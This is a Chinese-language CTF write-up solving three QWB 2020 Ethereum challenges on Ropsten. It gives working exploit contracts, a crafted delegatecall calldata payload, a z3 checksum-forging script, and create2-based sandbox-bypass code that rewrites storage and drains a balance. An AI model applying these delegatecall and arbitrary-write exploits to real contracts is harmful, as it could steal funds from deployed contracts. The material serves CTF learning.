QWB 2020 的区块链题目,最后一题没调出来,还是太菜了

EasyFake

测试地址 ropsten@0xa8978dc9669dd26f9342e8f47da39d5c6c866cdf

由于原合约已自毁,需要参考 bytecode 的可以参考 https://ropsten.etherscan.io/address/0x23362f22ceb0eaaec5f102ae74d6da09e15c96b2#code 上的 bytecode,利用 ethervm.io 反编译的结果在 https://gist.github.com/syang-ng/eb0b1deb430a68733ec31de874b5c309 上。

可以发现 2665F77D 对应的函数存在着一个任意跳转,而 0x0740 处代码可以调用 delegatecall,且调用的地址是可控的,所以解题的思路非常清晰:

  1. 构造攻击合约,获得合约地址
  2. 根据合约地址构造 payload

攻击合约:

contract Solve {
    event SendFlag(address addr);
       
    function() external {
        emit SendFlag(tx.origin);
        selfdestruct(tx.origin);
    }
}

发送交易,触发函数执行:

web3.eth.sendTransaction({to: "0xA8978Dc9669dd26F9342e8F47da39d5c6C866Cdf", data: "0x2665F77D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007400000000000000000000000007470Ab1bDA1D5DdfB5c1bFc36AE87746a4C9eE84" }, function(err,res){console.log(res)});

攻击相关的交易:

EasyAssembly

题目给了源代码,测试地址 ropsten@0xD0283a6180EABF69005253073CD1954E33F2a8d2

pragma solidity ^0.5.10;

contract EasyAssembly {
    event SendFlag(address addr);

    uint randomNumber = 0;
    bytes32 private constant ownerslot = keccak256('Welcome to qwb!!! You will find this so easy ~ Happy happy :D');

    bytes32[] public puzzle;
    uint count = 0;
    mapping(address=>bytes32) WinChecksum;

    constructor() public payable {
        setAddress(ownerslot, msg.sender);
    }

    modifier onlyWin(bytes memory code) {
        require(WinChecksum[msg.sender] != 0);
        bytes32 tmp = keccak256(abi.encodePacked(code));
        address target;
        assembly {
            let t1,t2,t3
            t1 := and(tmp, 0xffffffffffffffff)
            t2 := and(shr(0x40,tmp), 0xffffffffffffffff)
            t3 := and(shr(0x80,tmp), 0xffffffff)
            target := xor(mul(xor(mul(t3, 0x10000000000000000), t2), 0x10000000000000000), t1)
        }
        require(address(target)==msg.sender);
        _;
    }

    function setAddress(bytes32 _slot, address _address) internal {
        bytes32 s = _slot;
        assembly { sstore(s, _address) }
    }

    function deploy(bytes memory code) internal returns(address addr) {
        assembly {
            addr := create2(0, add(code, 0x20), mload(code), 0x1234)
            if eq(extcodesize(addr), 0) { revert(0, 0) }
        }
    }

    function gift() public payable {
        require(count == 0);
        count += 1;
        if(msg.value >= address(this).balance){
            emit SendFlag(msg.sender);
        }else{
            selfdestruct(msg.sender);
        }
    }

    function pass(uint idx, bytes memory bytecode) public {
        address addr = deploy(bytecode);
        bytes32 cs = tag(bytecode);
        bytes32 tmp = keccak256(abi.encodePacked(uint(1)));
        uint32 v;
        bool flag = false;

        assembly {
            let v1,v2
            v := sload(add(tmp, idx))
            if gt(v, sload(0)){
                v1 := and(add(and(v,0xffffffff), and(shr(0x20,v), 0xffffffff)), 0xffffffff)
                v2 := and(add(xor(and(shr(0x40,v), 0xffffffff), and(shr(0x60,v), 0xffffffff)), and(shr(0x80,v),0xffffffff)), 0xffffffff)
                if eq(xor(mul(v2,0x100000000), v1), cs){
                    flag := 1
                }
            }
        }
        if(flag){
            WinChecksum[addr] = cs;
        }else{
            WinChecksum[addr] = bytes32(0);
        }
    }

    function tag(bytes memory a) pure public returns(bytes32 cs) {
        assembly{
            let groupsize := 16
            let head := add(a,groupsize)
            let tail := add(head, mload(a))
            let t1 := 0x13145210
            let t2 := 0x80238023
            let m1,m2,m3,m4,s,tmp
            for { let i := head } lt(i, tail) { i := add(i, groupsize) } {
                s := 0x59129121
                tmp := mload(i)
                m1 := and(tmp,0xffffffff)
                m2 := and(shr(0x20,tmp),0xffffffff)
                m3 := and(shr(0x40,tmp),0xffffffff)
                m4 := and(shr(0x60,tmp),0xffffffff)
                for { let j := 0 } lt(j, 0x4) { j := add(j, 1) } {
                    s := and(mul(s, 2),0xffffffff)
                    t2 := and(add(t1, xor(sub(mul(t1, 0x10), m1),xor(add(t1, s),add(div(t1,0x20), m2)))), 0xffffffff)
                    t1 := and(add(t2, xor(add(mul(t2, 0x10), m3),xor(add(t2, s),sub(div(t2,0x20), m4)))), 0xffffffff)
                }
            }
            cs := xor(mul(t1,0x100000000),t2)
        }
    }

    function payforflag(bytes memory code) public onlyWin(code) {
        emit SendFlag(msg.sender);
        selfdestruct(msg.sender);
    }
}

题目的要求是触发 SendFlag,有两个思路,一是触发 gift()msg.value >= address(this).balance 其实是无法满足的,因此只能考虑触发 payforflag()

解题思路:

  1. 利用 setAddress(ownerslot, msg.sender); 保存的 msg.sender 满足 v, sload(0)
  2. padding 攻击合约的 bytecode,使其最后的计算结果满足等式 eq(xor(mul(v2,0x100000000), v1), cs)
  3. 利用 create2 计算地址的原理,还原 code,满足 require(address(target)==msg.sender);

合约代码:

contract Solve {
    function payforflag(bytes memory code) public {
        EasyAssembly instance = EasyAssembly(0xD0283a6180EABF69005253073CD1954E33F2a8d2);
        instance.payforflag(code);
    }

    function kill() public {
        selfdestruct(msg.sender);
    }
}

padding 脚本:

from z3 import *

def calc(v):
    v1 = ((v & 0xffffffff) + ((v >> 0x20) & 0xffffffff)) & 0xffffffff
    v2 = ((((v >> 0x40) & 0xffffffff) ^ ((v >> 0x60) & 0xffffffff)) + ((v >> 0x80) & 0xffffffff)) & 0xffffffff
    value = (v2 << 0x20) ^ v1
    
    return hex(value)[2::].zfill(16)


def tag(a):
    if len(a) % 32 != 0:
        a += '0'*(32 - len(a) % 32)

    t1 = 0x13145210
    t2 = 0x80238023

    for i in range(0, len(a), 32):
        s =  0x59129121
        tmp = int(a[i:i+32], 16)
        m1 = tmp & 0xffffffff
        m2 = (tmp >> 0x20) & 0xffffffff
        m3 = (tmp >> 0x40) & 0xffffffff
        m4 = (tmp >> 0x60) & 0xffffffff
        
        for j in range(4):
            s = (s<<1) & 0xffffffff

            t2 = (t1 + (((t1 << 4) - m1) ^ ((t1 + s) ^ ((t1 >> 5) + m2)))) & 0xffffffff
            t1 = (t2 + (((t2 << 4) + m3) ^ ((t2 + s) ^ ((t2 >> 5) - m4)))) & 0xffffffff

    return hex((t1 << 0x20) ^ t2)[2::].zfill(16)



def solve_pad(current, target):
    t1, t2 = int(current[:8:], 16), int(current[8::], 16)

    target_t1, target_t2 = int(target[:8:], 16), int(target[8::], 16)

    s = 0x59129121
    m1 = BitVec('m1', 256)
    m2 = BitVec('m2', 256)
    m3 = BitVec('m3', 256)
    m4 = BitVec('m4', 256)
    for j in range(4):
        s = (s<<1) & 0xffffffff

        t2 = (t1 + (((t1 << 4) - m1) ^ ((t1 + s) ^ ((t1 >> 5) + m2)))) & 0xffffffff
        t1 = (t2 + (((t2 << 4) + m3) ^ ((t2 + s) ^ ((t2 >> 5) - m4)))) & 0xffffffff

    solver = Solver()
    solver.add(And(t1 == target_t1, t2 == target_t2))
    if solver.check():
        m = solver.model()
        m_values = list(map(lambda x: m[x].as_long(), [m1, m2, m3, m4]))
        pad = 0
        for i in range(4):
            pad |= m_values[i] << (0x20 * i)
        return hex(pad)[2::].zfill(32)



value = 0x361778091c101ce450886123aabb8c37cfe1bc31
target = calc(value)
print(target)

src_bytecode = "608060405234801561001057600080fd5b5061023b806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c806341c0e1b51461003b578063acef0f0714610045575b600080fd5b610043610100565b005b6100fe6004803603602081101561005b57600080fd5b810190808035906020019064010000000081111561007857600080fd5b82018360208201111561008a57600080fd5b803590602001918460018302840111640100000000831117156100ac57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610119565b005b3373ffffffffffffffffffffffffffffffffffffffff16ff5b600073d0283a6180eabf69005253073cd1954e33f2a8d290508073ffffffffffffffffffffffffffffffffffffffff1663acef0f07836040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561019e578082015181840152602081019050610183565b50505050905090810190601f1680156101cb5780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b1580156101ea57600080fd5b505af11580156101fe573d6000803e3d6000fd5b50505050505056fea265627a7a72305820f0498cbfcb75e48fd32ce61415a0803073a8761489e886c07bcd20ebc74bf5c364736f6c634300050a0032"
current = tag(src_bytecode)
print(current)

pad = solve_pad(current, target)
print(pad)
src_bytecode += '0'*(32-len(src_bytecode)%32)
assert(tag(src_bytecode+pad) == target)
print(src_bytecode+pad)

create2 计算地址的逻辑,按照规范 https://eips.ethereum.org/EIPS/eip-1014 定义:

keccak256( 0xff ++ address ++ salt ++ keccak256(init_code))[12:]

所以最后构造的 code 内容为

0xffD0283a6180EABF69005253073CD1954E33F2a8d200000000000000000000000000000000000000000000000000000000000012341757f78ca722937f3671dc369d44b8ba15e0db59baf13d8e2b96582ecf90781d

攻击相关的交易:

EasySandbox(赛后解出)

测试地址 ropsten@0x14830ec81b9ffc26b44b08a025bbf3633f19a5e4

pragma solidity ^0.5.10;

contract EasySandbox {
    uint256[] public writes;
    mapping(address => address[]) public sons;
    address public owner;
    uint randomNumber = RN;

    constructor() public payable {
        owner = msg.sender;
        sons[msg.sender].push(msg.sender);
        writes.length -= 1;
    }

    function given_gift(uint256 _what, uint256 _where) public {
        if(_where != 0xd6f21326ab749d5729fcba5677c79037b459436ab7bff709c9d06ce9f10c1a9f) {
            writes[_where] = _what;
        }
    }

    function easy_sandbox(address _addr) public payable {
        require(sons[owner][0] == owner);
        require(writes.length != 0);
        bool mark = false;
        for(uint256 i = 0; i < sons[owner].length; i++) {
            if(msg.sender == sons[owner][i]) {
                mark = true;
            }
        }
        require(mark);

        uint256 size;
        bytes memory code;

        assembly {
            size := extcodesize(_addr)
            code := mload(0x40)
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
            mstore(code, size)
            extcodecopy(_addr, add(code, 0x20), 0, size)
        }

        for(uint256 i = 0; i < code.length; i++) {
            require(code[i] != 0xf0);
            require(code[i] != 0xf1);
            require(code[i] != 0xf2);
            require(code[i] != 0xf4);
            require(code[i] != 0xfa);
            require(code[i] != 0xff);
        }

        bool success;
        bytes memory _;
        (success, _) = _addr.delegatecall("");
        require(success);
        require(writes.length == 0);
        require(sons[owner].length == 1 && sons[owner][0] == tx.origin);
    }
}

题目考点是利用 delegatecall 来清空地址的余额,且被调用的合约字节码中不能出现 0xf0 / 0xf1 / 0xf2 / 0xf4 / 0xfa / 0xff 这几个 opcode,即限制了对 CREATE / CALL / CALLCODE / DELEGATECALL / STATICCALL / SELFDESTRUCT 的调用,但题目没有限制 CREATE2 的使用,参考该 opcode 的定义,很明显本题需要我们使用 CREATE2 来清空合约的余额。

![CREATE2]((/images/posts/QWB-2020-Blockchain/create2.png)

这里本人的解题思路如下:

  1. 构造交易,利用 given_gift() 的任意写满足 require(sons[owner][0] == owner)msg.sender == sons[owner][i] 这两个条件
  2. 构造合约地址变量 _addr,使得合约 Solve1 的字节码满足对 opcode 的限制
  3. 构造合约 Solve2 获得其字节码,并将字节码部署在地址 _addr
  4. 将合约 Solve1 的地址作为参数,调用 easy_sandbox(),然后在函数执行过程中会调用 delegatecall,触发合约 Solve1 的 fallback 函数的执行,fallback 利用 opcode create2 创建合约,清空题目合约的余额,然后利用创建的新合约 Solve2,在构造函数中完成对题目合约的存储修改,进而满足 require(writes.length == 0)require(sons[owner].length == 1 && sons[owner][0] == tx.origin) 这两个条件。
contract Solve1 {
    
    function() payable external {
        uint256 rn = 1;
        uint256 size;
        bytes memory code;
        address _addr = 0x0e71e1cfbc49E50eA2b08A95A4802896E535F5B4;
        
        assembly {
            size := extcodesize(_addr)
            code := mload(0x40)
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
            mstore(code, size)
            extcodecopy(_addr, add(code, 0x20), 0, size)
            _addr := create2(100, add(code, 0x20), mload(code), 0x1234)
        }
    }
}

contract Solve2 {
    constructor() public payable {
        EasySandbox sb = EasySandbox(0x14830eC81B9fFC26b44b08A025BbF3633f19A5e4);
        sb.given_gift(1, 0xd457532626c950612c7d2bfa3d32697a505d03005a86ecac5d5bbe3110d66ae6);
        sb.given_gift(uint256(0xd160625A1b016Acf85288397AA10198eC58d4f55), 0x45f4319ccd4d0ebb459ef413191dbd4441382e8de29c0116d1341ef3e6708596);
        sb.given_gift(0, 0xd6f21326ab749d5729fcba5677c79037b459436ab7bff709c9d06ce9f10c1a9d);
    }
    
    function kill() public {
        selfdestruct(msg.sender);
    }
}

攻击的相关交易:

Tips:由于这里需要构造一个合适的合约地址(不被 opcode 黑名单限制),所以该解法需要一定的实操,看了出题师傅的 wp 知道才想起来既然是 delegatecall 的话,由于环境是题目合约的环境,所以直接用 opcode mstore 操作存储就好了(─.─||)

参考链接